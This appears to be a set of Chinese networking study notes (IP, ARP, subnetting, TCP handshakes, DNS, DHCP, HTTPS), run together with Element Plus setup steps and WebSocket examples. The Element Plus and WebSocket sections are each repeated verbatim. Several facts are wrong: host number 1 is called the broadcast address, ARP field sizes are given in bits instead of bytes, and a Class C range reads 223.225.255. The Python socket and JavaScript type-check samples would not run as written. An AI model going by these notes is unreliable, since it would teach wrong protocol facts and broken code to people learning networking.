IP数据报的4位首部长度,是表示IP首部的长度,使用4bit表示,4位填满就是1111,就是15bit,IP数据报限制每行是4个字节(32位bits),154就是60字节,因此首部最大可以是60个字节,IP数据报最短部分有5行,54,就是20字节,20字节是IP首部长度最小的值,这个看起来可能有点乱,下面解一下为啥是这样 首部长度的单位是32bit(4字节),也就是说首部长度0001是表示IP首部有32bit,4个字节,首部长度1111就是4*15(15是二进制1111换算出来的),就是IP首部最大是60个字节 因为IP数据报最少要有5行,这5行就是最小首部(第六行是可选的),每行4个字节,4*5就是20个字节,IP首部长度最小表示得是20个字节,用4位首部长度表示就是0101(就是5,因为1就表示了4个字节) IP数据包的总长度是用16位bit表示,因此最大值为65535(2的16次方),这个总长度表示IP首部+IP数据的总长度,因此一个IP数据包最大是65535字节 当IP数据包大于MTU时,数据链路层会将IP数据包分片,以确保符合MTU IP首部还有个服务类型,用8位表示,前面3位表示优先级,后4位是标志,最后一位是保留位,前面3位,满载就是111,也就是说有7种优先级,这个优先级没有强制性,物理设备也不看 IP首部标识,占16位,是计数器,相同数据包的标识是相同的(每生产一个数据包就+1),用来数据包的分段,以确保IP数据包能通过MTU限制的数据链路,最后为了数据帧拼装成完整的IP数据包,通过标识来确定,这个标识会被复制到数据帧的标识字段中,相同标识就表示是相同的IP数据包,就可以拼装成完整的数据包了 IP首部标志,占3位,只有2位有意义,表示该IP数据包是否分片,第一位没有使用,第二位表示DF(Don’t Fragment),是否要进行分帧(DF=0时才允许分片),第三位表示MF(More Fragment),是否后面数据报(MF=0时表示该数据包后面没有了,是最后的包),因此一个允许被分片,并且不是最后一个数据包时,标志表示为001,不允许分帧的话,超过MTU限制的数据包将被丢弃,并且向数据包的源头提示信息 IP首部片偏移,占13位,表示分片后,该片在原来ip数据包中的相对位置,片偏移是用8个字节为一个偏移单位,因此每个片的长度一定是8字节的倍数 生存时间TTL,占8位,表示该数据报文在网络中的寿命,经过一个设备TTL会减1,当TTL为0时,该数据报文将被设备丢弃,确保数据报不会一直在互联网的设备中传输,而消耗网络资源 协议,占8位,表示数据报携带的数据是什么协议的,让网络层知道应该将这个数据给哪个来进行处理,常见的协议取值,1为ICMP,2为IGMP,4为IP,6为TCP,17为UDP 首部检验和,占16位,用来校验数据报的首部,每经过一个设备,都会重新计算首部检验和,确保首部不出错,出错会被设备丢弃 IP源地址,占32位,表示发送该IP数据报的机器的IP地址 IP目标地址,占32位,表示该IP数据报需要到达的目标机器的IP地址 IP协议转发过程(逐跳(hop-by-hop)) MAC地址表工作过程:网卡发送数据帧,数据帧抵达路由器,路由器会取前6字节,来匹配MAC地址表,查找该MAC地址对于的网络接口,路由器就可以通过网络接口来对外发送数据帧 IP路由表和MAC地址表工作过程类似,IP路由表有目标IP地址,以及有要到达该目标IP地址的下一个地址,发出IP数据报,通过查询IP路由表得知,需要将改数据报发送给另一个IP,才能到达就会发送给另一个IP,另一个IP的设备查询路由表,需要给另一个IP,就发送给它,一直到抵达目的地,或者TTL死亡,计算机和路由器都有路由表 IP路由表是网络设备根据路由协议生成的,windows操作系统可通过route print命令查看本计算机的路由表 可以看到有5个属性,分别是网络目标(目标的IP)和网络掩码(表示IP地址的哪个标识是当前设备所在的子网),网关(将数据发送给哪个设备,网关又叫下一跳服务器),接口(发送数据包的网络接口,和当前网关是同一个子网)以及跃点数(到达目标需要经过的跃点数量,一个跃点就是一个路由器,TCP/IP协议会选择最低跃点数的路由) 网络掩码,又叫子网掩码,和IP地址搭配使用,子网掩码也是32位地址,用来屏蔽IP地址的一部分来区别是网络地址和主机地址,RFC950定义,表示网络地址的位都为1,表示主机地址的位都为0,例如192.168.1.2的子网掩码255.255.255.0,表示192.168.1是网络地址,最后的2才是主机地址,因此得到192.168.1.2是属于192.168.1.0这个网络下的,其中主机号为2 逐跳的过程:网络层通过路由表,知道下一个发送哪个设备来转发数据,网络层将封装IP数据报给数据链路层,并且告知目标的MAC地址是什么,数据链路层将数据帧发送给目标MAC地址,当接收数据帧后,会将数据帧给网络层(这也是为啥路由器最高层是网络层的原因,路由器不需要那么高层的功能),网络层查询路由表,得知下一个目标设备,并且将数据报给数据链路层,告知目标的MAC地址是什么,数据链路层会将数据帧发送给目标设备一直到真正的目标设备为止 数据帧在每一逐跳中,都会对MAC地址发送改变,但是IP数据报的IP地址不会发生变化 ARP协议(Address Resolution Protocol,地址解析协议)和RARP协议(Reverse Address Resolution Protocol,逆地址解析协议) ARP协议会将网络层的IP32位地址解析成数据链路层的MAC48位地址,ARP缓存表表示IP地址和MAC地址的映射关系,缓存表没有缓存时,ARP会广播,其他设备会回应,ARP将记录设备的IP和MAC地址,ARP缓存表的记录具有期限性 windows操作系统可通过arp -a命令查看本机的ARP缓存表 ARP协议报文是直接对数据链路层的数据帧进行封装的 ARP协议报文由2位的类型,28位的ARP请求应答,18位的PAD填充数据组成 其中28位的ARP请求应答报文,是由2位硬件类型,2位协议类型,4位标记,6位发送方的以太网地址,4位发送方的IP地址,6位的目标以太网地址,4位的目标IP地址组成 RARP的工作和ARP是逆操作,RARP协议是将数据链路层的MAC地址解析成IP地址,利用的也是ARP缓存表,RARP报文和ARP报文是一样的类型组成的 IP地址的子网划分 IP地址分类,将32位分成网络号,主机号 A类地址:8位网络号(前一位为0),24位主机号,最小网络号为0,最大网络号为127(01111111),最小主机号为0.0.0,最大主机号为255.255.255 B类地址:16位网络号(前二位为10),16位主机号,最小网络号为128.0,最大网络号为191.255,最小主机号为0.0,最大主机号为255.255 C类地址:24位网络号(前三位为110),8位主机号,最小网络号为192.0.0,最大网络号为223.225.255,最小主机号为0,最大主机号为255 特殊的主机号,主机号为0表示当前网段,主机号为1表示是广播地址,对当前网段的全部设备发送消息用的 特殊的网络号,A类地址中网络号全为0为特殊网络,例如0.0.0.0,A类地址中网络字段后7位为1是表示回环地址,例如127.0.0.1 B类地址网络号后14位都为0,例如128.0.0.1,C类网络号后21位为0,例如192.0.0.1 上面特殊的都是不可使用或者无法分配的 区别IP地址属于那一类地址,只需要将IP地址的前8位取出来,通过判断前1位到3位来知道,也是可以看前一段IP地址,例如192.168.1.1,这个明显超过A类,B类地址的最大网络号,因此是C类地址 127.0.0.1本地回环地址(Loopback Address),这个地址不属于任何一个地址类,它表示设备的本地虚拟接口,甚至无网卡也可以ping通该地址 还有D类地址,开头前4位是1110,E类地址前4位为1111,D类和E类地址用来特殊用途的,例如广播(D类),D类和E类是不区分网络地址和主机地址的 子网划分就是在网络号主机号的基础上添加子网号,通过子网掩码来匹配网络号 A类地址的子网掩码是255.0.0.0 B类地址的子网掩码是255.255.0.0 C类地址的子网掩码是255.255.255.0 子网掩码的二进制与IP地址的二进制进行与运算(位相同,并且为1返回1,位不相同,而且为0返回0),得到的运算结果转换为点分10进制,就是该IP属于这个IP的子网 无分类编址CIDR(Classless Inter-Domain Routing,无类域间路由选择,没有ABC这些网络分类,也没有子网划分) CIDR将IP区分为网络前缀和主机号,网络前缀相同就表示是一个CIDR地址块,网络前缀不受限制 斜线记法,例如192.168.1.2/25,表示前25位为网络前缀,后7位为主机号(2的7次方,就是128,去掉最大和最小的,还有126个ip地址可以分配,而不需要像C类地址一样,直接就分配255-2个地址,造成地址浪费) 通过斜线记法占据网络前缀,主机号将可以灵活的占用,更有效分配IP地址,减少IP地址分配的浪费 CIDR的IP地址与子网掩码,进行与运算,可以得到网络号 网络地址转换NAT技术(解决IPv4地址不够用) NAT技术将IP分为内网地址(避免和外网地址重复)和外网地址(又叫公网地址) A类内网地址,10.0.0.0到10.255.255.255 B类内网地址,172.16.0.0到172.31.255.255 C类内网地址,192.168.0.0到192.168.255.255 网关以及ISP,服务器使用外网地址,内部局域网使用内网地址 NAT(Network Address Translation,网络地址转换):让多个内网设备通过一个公网地址来访问互联网的技术,通过转发端口号来实现,内部的端口号,需要访问外网时,会分配一个新的端口号和新的地址(公网)来表示这个内网端口服务,这样外网访问这个公网的端口时,将可以映射给具体内网的端口服务 例如常见的NAT穿透技术(就是内网穿透) ICMP协议(Internet Control Message Protocol,网际控制报文协议) ICMP协议可以报告错误信息和异常信息,搭配IP协议使用 ICMP协议报文封转在IP数据报的数据中,ICMP协议报文由ICMP报文首部和ICMP报文数据组成 ICMP报文首部由8位类型(ICMP报文的类型,有2类,分别是差错报告报文,询问报文),8位代码(ICMP报文具体有哪些错误),16位的校验和组成 差错报告报文的常见类型有3(终点不可达,代码0为网络不可达,1为主机不可达),5(重定向,代码0为网络重定向,1为主机重定向),11(传输超时),12(缺少IP必要参数(1)或者IP头部问题(0)) 询问报文的常见类型有0或者8(回送请求或者应答),13或者14(时间戳请求或者应答),询问报文主要查询网络是否互通, 使用了ICMP协议的应用有ping(询问报文),traceroute(发送IP数据包到目标需要走哪些路由) windows可使用tracert命令来体验traceroute的功能,tracert baidu.com 传输层(给上层应用层提供通信功能,是数据通信的最高层,传输层实现进程与进程间的通信(跨设备,跨设备)) 传输层协议:TCP协议和UDP协议 使用不同的端口表示不同的网络进程,端口使用16位表示,(0到65535),端口只对本地有意义,进行网络传输,还需要搭配IP来使用 传输层对上层应用层起到屏蔽底层的细节的作用,网络层传输点到点的传输,传输层就将点精确到端,进程的传输 UDP协议(User Datagram Protocol,用户数据报协议) 应用层传递的数据报,UDP不会对其进行合并,拆分,UDP协议数据报大小取决于上层网络层的数据报 UDP数据报分为UDP首部,UDP数据报数据(UDP数据报数据就是上层应用层提交的数据) UDP首部由16位源端口号(源机器的端口),16位目标端口号(目标机器的端口),16位UDP长度(表示UDP数据报的长度),16位UDP校验和组成,UDP首部是8字节的长度 UDP无连接(不需要建立连接,直接对目标发送数据报),不保证可靠传输数据(不会感知数据报的发送失败,丢失),面向报文传输(应用层交付的数据报文有多大,UDP就传输多大的UDP协议报文,一次发送一个报文),没有拥塞控制(无法感知网络的拥塞情况,直接交付数据报给网络就完事) TCP协议(Transmission Control Protocol,传输控制协议) TCP协议报文也是在IP数据报的数据内部的,由TCP首部和TCP数据报数据组成 TCP是面向连接(需要提前建立连接,才能通信),提供可靠传输(连接管理(3次握手,4次挥手),数据分段(),校验和(校验数据),序号(按顺序发送,收到乱序则丢弃数据),累计确认(接收数据方会发送确认应答,来表示发送的报文收到了),重发机制(定时器,一段时间内无法确认该报文接收到,发送方会重新发送该报文),流量控制(感知对方的接收情况,如果对方接收不够快,会提示对方降低发送频率(调整本地的窗口,并且告知对方窗口值是多少),避免数据报的丢失),拥塞控制(感知网络拥塞情况,能根据拥塞情况来调整数据发送的频率,调整拥塞窗口,避免数据报的丢失),通过这些来保证可靠传输),提供全双工通信,面向字节流传输 TCP字节流:TCP协议将网络层传输的数据看成字节流,会从字节流中选择长度来创建数据段(拆分),这个数据段就成了TCP数据报的数据,接收方接收数据时,还需要对数据进行排序(根据序号,合并) TCP粘包:发送的数据,在接收方被粘在一块了(排序),一个数据包的头部接着另一个数据的尾部,导致原因是接收数据时,并不会马上交付数据,而是存储在流量控制的缓存中,交付数据时就可能读取到TCP粘包 TCP首部由16位源端口,16位目标端口,32位序号(传输的字节都有唯一序号,表示数据报的数据的第一个字节的序号),32位确认号(表示前面多少个数据收到了,如果有下一个数据请发送给我,例如ack=11,表示前面10个数据已经收到,可以发送第11个数据了,表示期待收到下一个字节序号是什么,传输下一个数据报的数据取决于这个,序号+当前数据长度的和就是下一个数据发送的起点序号),4位数据偏移(首部长度,最大长度1111,就是15,表示有15行,每行4字节,最大60个字节,单位为4字节,长度是20(最少20字节)到60字节之间,表示真实数据距离首部有多长),保留字段,6位的TCP标记(有6位不同的控制位,分别为URG(Urgent,紧急位,URG=1,表示该数据是紧急数据,接收端会更优先获取该数据),ACK(Acknowledgenent,确认位,ACK=1时确认号才生效),PSH(Push,推送位,PSH=1时表示尽快将该数据交付应用层,不需要等缓存填满交付),PST(Reset,重置位,RST=1时通知重新建立TCP连接),SYN(Synchronization,同步位,SYN=1,ACK=0时表示需要连接建立请求,ACK=1时表示连接请求报文),FIN(Finish,终止位,FIN=1时,表示数据发送完成,开始断开连接操作)),16位窗口(表示本地可以接收的数据最大多少,字节为单位,流量控制的基础,可变),16位校验和(差错控制,发送方计算全部数据的校验和,接收方也计算校验和,当接收方的校验和和发送方一致时,数据发送正确),紧急指针(搭配URG控制位使用,指定紧急数据在报文的位置),可选的TCP选项(最大40字节),以及填充(填充32位的整数倍)组成 TCP首部除了填充,TCP选项外,剩余是固定20个字节的长度的 可靠传输协议:停止等待协议(发送方发送数据,只有当接收方响应确认后,再发送另一个数据,停止是发送方的停止发送另一个数据,等待是接收方等待数据的传输,获取到了响应一个确认,如果接收方在一段时间内没有响应确认消息,发送方会重发该数据给接收方(超时重传,超时定时器)),连续ARQ协议(连续发送多个报文,批量发送,通过滑动窗口,来确认发送多少个报文,当报文确认号到达,将移动窗口,让其可以发送后面的报文,累计确认) TCP可靠传输基于连续ARQ协议,滑动窗口是以字节为单位,窗口首个字节就是确认号(期望下一个发送该字节),发送字节的长度等于确认号+窗口大小,移动窗口的前提是已经接收到确认了,可用窗口等于窗口长度-已发送未确认的,如果窗口首个字节长时间没有确认,将重新传输该窗口的全部字节(哪怕已经接收到) 因为重传窗口的全部字节效率低,因此有选择重传,可以指定重传的字节,每个字节都有32位序号,提供序号就可以选择性重传,选择重传的数据存储在TCP选项内部,因为TCP首部最大60字节,因此TCP选项最大40字节,也就是10个序号(一个序号4字节),能存储的序号太小,因此实质上存储的是重传的字节边界,重传开头字节到结尾字节,就是2个协号表达一段需要重传的字节,这会增加了重传字节的数量,而不是每次只能重传10个字节,而是能重传数百个,数万个字节,因为丢失字节的数量是非常巨大的,要么没有问题,一出问题就是字节丢失很多 流量控制(提示发送方的发送数据的频率不要太快(避免接收方处理不及时,而导致数据丢失),通过限制滑动窗口的大小来实现,窗口指明发送的数据量是多少) 发送方发送数据时携带SEQ序号,表示该报文的序列号,接收方进行响应时,会返回ACK确认号(表明接收到哪个报文了),如果想提示发送方的窗口要设置多大合适,还可以响应一个RWND来表示发送方应该设置窗口大小为这个 ACK=101,RWND = 1000,将表示下一个发送序号为101的报文,并且窗口为1000,也就是说可以一次传输101到1100之间的报文 通过窗口大小来通知对方的发送速率,来做到流量控制,超时重传只针对数据的,对于响应消息是不会触发重传的,如果窗口控制的消息丢失了,将可能导致死锁(如果之前设置RWND为0的话,需要等待响应调整窗口,窗口消息丢失,接收方和发送方都在等待对方的回应) 坚持定时器:当接收到RWND为0的消息时,启动坚持定时器,坚持定时器将每隔一段时间发送窗口探测报文,询问接收方是否有调整窗口的大小的操作,避免因为窗口消息的丢失而死锁的情况发送 拥塞控制(硬件设备传输速率不同或者网络设备故障,因此存在网络拥塞的情况,例如报文超时,这个也是被认为网络拥塞了) 拥塞控制算法:慢启动算法(从小到大逐渐增加发送量,当发送的报文接收到了,将增加发送量,逐渐试探网络是否拥塞了,会指数增长发送量,直到慢启动阈值(ssthresh)),拥塞避免算法(当慢启动算法达到慢启动阈值时启动,控制拥塞窗口,会试探扩大拥塞窗口(直线增长),直到发送网络拥塞为止) 三次握手(通过TCP首部的TCP标记完成,ACK,SYN,FIN) 第一次握手:SYN=1,seq=x,seq是序号,请求建立连接方向目标发送 第二次握手:SYN=1,ACK=1,seq=y,ack=x+1,ACK确认收到请求,seq的值是数据序号,ack=x+1,是希望下次接收的数据的序号 第三次握手:ACK=1,seq=x+1,ack=y+1,ACK确认,seq是当前发送的数据序号,ack是期望下次接收的序号 发送方负责同步和建立连接,接收方负责监听和同步数据已接收响应,建立连接 三次握手的作用不只是建立连接,而且还可以同步数据的序号,以及希望下次接收数据的序号,避免失效的请求建立连接报文(超时的)而导致错误,第三次握手消息,会让接收方忽略超时的失效的建立连接报文(因为超时没有响应,会重发请求) 四次挥手(TCP连接的释放) 第一次挥手:FIN=1,seq=u,数据传输完毕,需要终止TCP连接 第二次挥手:ACK=1,seq=v,ack=u+1,被终止方依然可以发送数据,因为只是主动终止方发送完毕数据了,对方并不一定完成了,需要等待对方发送完毕 第三次挥手:FIN=1,ACK=1,seq=w,ack=u+1,被终止方发送数据完毕,也可以终止了 第四次挥手:ACK=1,seq=u+1,ack=w+1,请求终止方确认已经接收到对方可终止的请求后发送,可以释放了 等待计时器:请求终止方需要等待计时器后才进行关闭,而被终止方接收到第四次挥手消息后是立刻关闭,这个计时器又叫2MSL计时器,即报文最大生存时间的2倍(MSL,Max Segment LIfetime,最长报文段寿命,一般为2分钟) 等待计时器的作用是确保第四次挥手消息到达对方,如果对方在2MSL内没有接收到,会重新发送第三次挥手消息,确保全部报文在连接中失效,端口占用 套接字(ip和端口的组合,Socket,表示TCP连接的一端,用来数据发送和接收) TCP连接使用2个套接字来组成(C/S架构) 服务端创建套接字,绑定套接字,监听套接字,接收或者处理消息 客户端创建套接字,连接套接字,发送消息 套接字编程(使用Python完成) 服务端 import socket def server(): s = socket.socket() #创建套接字 host = '127.0.0.1' port = 8080 s.bind((host,port)) #绑定套接字 s.listen(10) #监听 addr = s.accept() #接收对方发送的消息 addr.send('hallo word') #向对方发送消息 addr.close() #关闭连接 if __name__ == '__main__': server() 客户端 import socket def client(): s = socket.socket() #创建套接字 s.connect('127.0.0.1',8080) #连接端口 print(s.recv(1000)) #接收服务端消息 s.close() #关闭连接 if __name__ == '__main__': client() 应用层(对接用户的一层,定义应用与应用之间的通信规则) 应用层常见协议:HTTP,SSH,DNS,FTP,SMTP,POP3,Telnet DNS(Domain Name System,域名系统) 使用域名来代替IP的点分十进制,通过DNS服务,可以将域名映射出源IP地址(这个源可能是源服务器,也可能是代理服务器,缓存服务器,CDN服务器) 域名由点,数字,字母组成,这个字母不区分大小写,点分割不同域(这里的域主要分顶级域,二级域,三级域) 例如:blog.xiaochenabc123.test.com,.com就是顶级域,xiaochenabc123.test.com是二级域,blog.xiaochenabc123.test.com是三级域 顶级域分成通用顶级域和国家(地区)顶级域,例如.cn,.com,.org,.net,.gov 顶级域搭配二级域就是可以完成一个IP映射服务了 DNS服务部署在DNS服务器上(域名服务器),根域名服务器(管理所有顶级域,全世界目前只有13台),顶级域名服务器(负责顶级域的DNS解析工作),域名服务器(负责二级域的解析工作) DNS解析过程:计算机访问本地域名服务器查询,如果本地域名服务器没有缓存,则直接向根域名服务器请求,这个顶级域是属于哪个顶级域名服务器的,根域名服务器会返回对应的顶级域名服务器信息,本地域名服务器然后对顶级域名服务器查询,这个二级域名应该属于哪个域名服务器,再访问域名服务器,最后获取映射的IP 本地域名服务器决定了DNS解析的时长,一个好的本地域名服务器可以减少向根,顶级,域名服务器的请求,例如公共域名服务器,114.114.114.114,8.8.8.8,119.29.29.29,223.5.5.5,180.76.76.76 域名由 ICANN 管理全世界的域名系统工作 DNS也会被缓存到本地计算机内,浏览器缓存,操作系统缓存,因此实质上是先访问浏览器缓存,没有再访问操作系统缓存,再然后才到本地域名服务器 DHCP协议(Dynamic Host Configuration Protocol,动态主机设置协议) DHCP协议是局域网协议,调用UDP协议的应用层协议,提供即插即用联网服务(不需要手动设置IP,而是使用DHCP协议提供的服务,动态设置IP) DHCP协议提供的是临时IP,具有租期性(过期了会回收,当然也可以续租),提供DHCP协议服务的是DHCP服务器,该服务器通过监听默认端口67,计算机通过UDP协议进行广播DHCP发现报文,因为当前计算机还没有分配IP,会通过设置ip的位全为1,就是255.255.255.255为UDP协议报文的ip,表示这个报文是广播报文,DHCP服务器接收到发现报文后发出DHCP提供报文,计算机接收DHCP提供报文,知晓该网络提供DHCP服务,计算机会向DHCP服务器发送DHCP请求报文,DHCP接收请求并且回应,提供IP地址 HTTP协议(HyperText Transfer Protocol,超文本传输协议) HTTP协议是调用TCP协议的应用层协议,基于TCP的数据可靠性传输 服务端处理过程:接受客户端TCP连接,接收请求报文(HTTP请求方法有很多种,常见的有GET,POST,DELETE,UPDATE,PUT等等),处理请求,访问资源,生成响应报文,发送响应报文给客户端 请求报文由请求方法,请求地址,HTTP版本,请求头,请求内容组成 响应报文由HTTP版本,响应状态码,状态解释,响应头,响应内容组成 HTTPS是在HTTP协议的基础上使用了SSL(Secure Sockets Layer,安全套接层),数字证书加密通信,SSL证书由可信任组织(CA机构)颁发给所有人的,CA机构颁发的证书就叫CA证书,CA证书有很多种,SSL证书是CA证书的一种,数字证书主要由证书序列号,签名算法,有效期,所有人名称,所有人公开密钥组成 SSL提供了数据加密传输,数据不可篡改等功能,应用层的数据交付给传输层会经过SSL的加密传输 先进行443端口的TCP连接,SSL安全握手,完成安全握手后就可以对数据进行加密解密 SSL安全握手的过程: 客户端向服务端发送协议版本,支持的加密算法,随机数1 服务端回应,发送确定的加密算法,数字证书,随机数2 上面2次是不进行加密传输的,下面的才进行加密传输 客户端会先检查数字证书有效性,使用数字证书提供的公开密钥对随机数3进行加密,并且将加密数据发送给服务端 服务端接收到加密数据时,使用私有密钥解密这个随机数3 客户端和服务端会根据之前生成的随机数1,随机数2,随机数3和确认的加密算法生成对称密钥 客户端和服务端将使用这个对称密钥来进行加密和解密传输,这个对称密钥只有客户端和服务端知道,外人并不知道(因为随机数3是使用数字证书的公钥加密的,这个随机数3只有客户端和服务端解密后知道)
Element Plus是基于vue3开发的组件库,而Element使用vue2开发的组件库 安装Element Plus npm install element-plus –save 或者 yarn add element-plus 导入Element Plus import ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入 安装插件 npm install -D unplugin-vue-components unplugin-auto-import 如果是使用Vite则配置vite.config.ts文件 导入并且启用插件 import AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用,例如: I am ElButton
Element Plus是基于vue3开发的组件库,而Element使用vue2开发的组件库 安装Element Plus npm install element-plus –save 或者 yarn add element-plus 导入Element Plus import ElementPlus from 'element-plus' import 'element-plus/dist/index.css' 按需导入 安装插件 npm install -D unplugin-vue-components unplugin-auto-import 如果是使用Vite则配置vite.config.ts文件 导入并且启用插件 import AutoImport from 'unplugin-auto-import/vite' import Components from 'unplugin-vue-components/vite' ... plugins: [ AutoImport({ resolvers: [ElementPlusResolver()], }), Components({ resolvers: [ElementPlusResolver()], }), ], 这个组件库还支持module导入的方式手动按需使用,例如: I am ElButton
HTTP1.1协议实质上就是半双工信道,无法同时发送数据和接收数据,而且HTTP连接必须是客户端发起,由服务器来进行处理响应,只有HTTP2.0才是全双工信道(不需要等待响应,就可以发送第二个报文) WebSocket是全双工信道,而且还支持服务端主动发送数据给客户端,是服务器推送技术(还是需要客户端发起连接) WebSocket协议是应用层协议,而且是建立在TCP协议上,端口也是使用443和80,握手使用HTTP协议,浏览器不会限制WebSocket的同源 WebSocket客户端配置 WebSocket构造函数,用来创建WebSocket实例 const ws = new WebSocket(‘ws://127.0.0.1’) WebSocket.readyState实例具备4种状态,该属性是只读的,用来表示连接WebSocket服务端的状态,分别是:0(正在连接),1(连接完成并且可以通信),2(连接正在关闭),3(连接已经关闭或者连接失败) WebSocket.onopen是指定连接成功后执行的回调函数 WebSocket.onerror是指定连接失败后执行的回调函数 WebSocket.onclose是指定连接关闭后执行的回调函数 WebSocket.onmessage是指定从服务器获取信息时执行的回调函数 可以指定WebSocket.binaryType来指定传输的数据类型,数据类型有2种,分别是blob和arraybuffer 客户端配置例如: const ws = new WebSocket('ws://localhost:8080') ws.onopen = () =>{ console.log("连接中") ws.send('hallo word') // 向服务端发送数据 } ws.onerror = () =>{ console.log('连接失败') } ws.onmessage = (evt) =>{ console.log('连接成功,正在获取数据') if(typeof evt.data === String){ console.log('hallo'+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log('数据:'+data) } ws.close() // 手动关闭连接 } ws.onclose = () =>{ console.log('连接已关闭') } 还有WebSocket.bufferedAmount属性,也是只读,用于返回WebSocket..send没有发送到服务端的数据的字节数,为0表示全部数据已传输完毕 WebSocket.url属性可以返回WebSocket实例的URL绝对路径,只读 WebSocket.protocol属性可以返回服务端选中的子协议名字,只读 WebSocket.extensions属性可以返回服务端已选择的扩展值,只读 WebSocket服务端实现(node的ws模块) 安装ws模块 npm install ws server.js const WebSocket = require('ws') // 导入模块 const WebSocketServer = WebSocket.Server const wsmain =new WebSocketServer({ port: 8080 }) wsmain.on('connection',function(ws){ console.log('客户端已连接') ws.on('message',function(message){ console.log(`客户端发送的数据:${message}`) ws.send('欢迎连接该ws服务端') ws.send(message) }) }) node server.js 这样服务端可以接收到客户端发送的数据,服务端也可以主动给连接中的客户端发送数据 除了ws模块外,还有nodejs-websocket,Socket.IO,µWebSockets nodejs-websocket搭建服务端 安装 npm install nodejs-websocket server.js const ws = require("nodejs-websocket") const server = ws.createServer(function (ws) { ws.on("text", function (str) { console.log(str) ws.sendText('hallo word') }) ws.on("close", function (code, reason) { console.log("客户端已经关闭连接") }) }).listen(8080) app.js const ws = new WebSocket('ws://localhost:8080') ws.onopen = () =>{ console.log("连接中") ws.send('hallo word') // 向服务端发送数据 const obj = { name: 'root', age: 20, pass: '123456', email: 'a@xiaochenabc123.test.com', key: 'hallo word' } const data = JSON.stringify(obj) ws.send(data) // 发送json数据 } ws.onerror = () =>{ console.log('连接失败') } ws.onmessage = (message) =>{ console.log('连接成功,正在获取数据') const isJson = (str) => { try{ if(typeof JSON.parse(str) == 'object'){ return true } }catch (e){ } return false } if(isJson(message.data)){ console.log(JSON.parse(message.data)) }else{ console.log(message.data) } } ws.onclose = () =>{ console.log('连接已关闭') } Socket.io基于WebSocket协议,提供HTTP长轮询(当前客户端不支持WebSocket时)和自动重新连接(提供心跳机制,定期检查连接,连接断开时会进行重新连接操作),和ws模块不同的是,Socket.io提供客户端功能,实质上Socket.io使用的是WS模块提供的WebSocket服务(默认情况),也是可以使用µWebSockets.js提供的WebSocket服务 服务端 npm install socket.io server.js import { Server } from 'socket.io' const io = new Server(3000) io.on('connection', socket => { console.log('已成功连接') // 服务端给客户端发送消息 console.log('正在发送消息') socket.emit('hallo','word') console.log('发送消息完成') // 服务端接收消息 socket.on('abc',(arg) => { console.log(arg) }) socket.on('disconnect', () => { console.log('连接已断开') }) }) 客户端 npm install socket.io-client client.js import { io } from 'socket.io-client' // const socket = io() const socket = io('ws://127.0.0.1:3000') // 客户端接收消息 socket.on('hallo',(arg) =>{ console.log(arg) }) socket.emit('abc','xyz')
HTTP1.1协议实质上就是半双工信道,无法同时发送数据和接收数据,而且HTTP连接必须是客户端发起,由服务器来进行处理响应,只有HTTP2.0才是全双工信道(不需要等待响应,就可以发送第二个报文) WebSocket是全双工信道,而且还支持服务端主动发送数据给客户端,是服务器推送技术(还是需要客户端发起连接) WebSocket协议是应用层协议,而且是建立在TCP协议上,端口也是使用443和80,握手使用HTTP协议,浏览器不会限制WebSocket的同源 WebSocket客户端配置 WebSocket构造函数,用来创建WebSocket实例 const ws = new WebSocket(‘ws://127.0.0.1’) WebSocket.readyState实例具备4种状态,该属性是只读的,用来表示连接WebSocket服务端的状态,分别是:0(正在连接),1(连接完成并且可以通信),2(连接正在关闭),3(连接已经关闭或者连接失败) WebSocket.onopen是指定连接成功后执行的回调函数 WebSocket.onerror是指定连接失败后执行的回调函数 WebSocket.onclose是指定连接关闭后执行的回调函数 WebSocket.onmessage是指定从服务器获取信息时执行的回调函数 可以指定WebSocket.binaryType来指定传输的数据类型,数据类型有2种,分别是blob和arraybuffer 客户端配置例如: const ws = new WebSocket('ws://localhost:8080') ws.onopen = () =>{ console.log("连接中") ws.send('hallo word') // 向服务端发送数据 } ws.onerror = () =>{ console.log('连接失败') } ws.onmessage = (evt) =>{ console.log('连接成功,正在获取数据') if(typeof evt.data === String){ console.log('hallo'+evt.data) }else if(evt.data instanceof ArrayBuffer){ let data = evt.data console.log('数据:'+data) } ws.close() // 手动关闭连接 } ws.onclose = () =>{ console.log('连接已关闭') } 还有WebSocket.bufferedAmount属性,也是只读,用于返回WebSocket..send没有发送到服务端的数据的字节数,为0表示全部数据已传输完毕 WebSocket.url属性可以返回WebSocket实例的URL绝对路径,只读 WebSocket.protocol属性可以返回服务端选中的子协议名字,只读 WebSocket.extensions属性可以返回服务端已选择的扩展值,只读 WebSocket服务端实现(node的ws模块) 安装ws模块 npm install ws server.js const WebSocket = require('ws') // 导入模块 const WebSocketServer = WebSocket.Server const wsmain =new WebSocketServer({ port: 8080 }) wsmain.on('connection',function(ws){ console.log('客户端已连接') ws.on('message',function(message){ console.log(`客户端发送的数据:${message}`) ws.send('欢迎连接该ws服务端') ws.send(message) }) }) node server.js 这样服务端可以接收到客户端发送的数据,服务端也可以主动给连接中的客户端发送数据 除了ws模块外,还有nodejs-websocket,Socket.IO,µWebSockets nodejs-websocket搭建服务端 安装 npm install nodejs-websocket server.js const ws = require("nodejs-websocket") const server = ws.createServer(function (ws) { ws.on("text", function (str) { console.log(str) ws.sendText('hallo word') }) ws.on("close", function (code, reason) { console.log("客户端已经关闭连接") }) }).listen(8080) app.js const ws = new WebSocket('ws://localhost:8080') ws.onopen = () =>{ console.log("连接中") ws.send('hallo word') // 向服务端发送数据 const obj = { name: 'root', age: 20, pass: '123456', email: 'a@xiaochenabc123.test.com', key: 'hallo word' } const data = JSON.stringify(obj) ws.send(data) // 发送json数据 } ws.onerror = () =>{ console.log('连接失败') } ws.onmessage = (message) =>{ console.log('连接成功,正在获取数据') const isJson = (str) => { try{ if(typeof JSON.parse(str) == 'object'){ return true } }catch (e){ } return false } if(isJson(message.data)){ console.log(JSON.parse(message.data)) }else{ console.log(message.data) } } ws.onclose = () =>{ console.log('连接已关闭') } 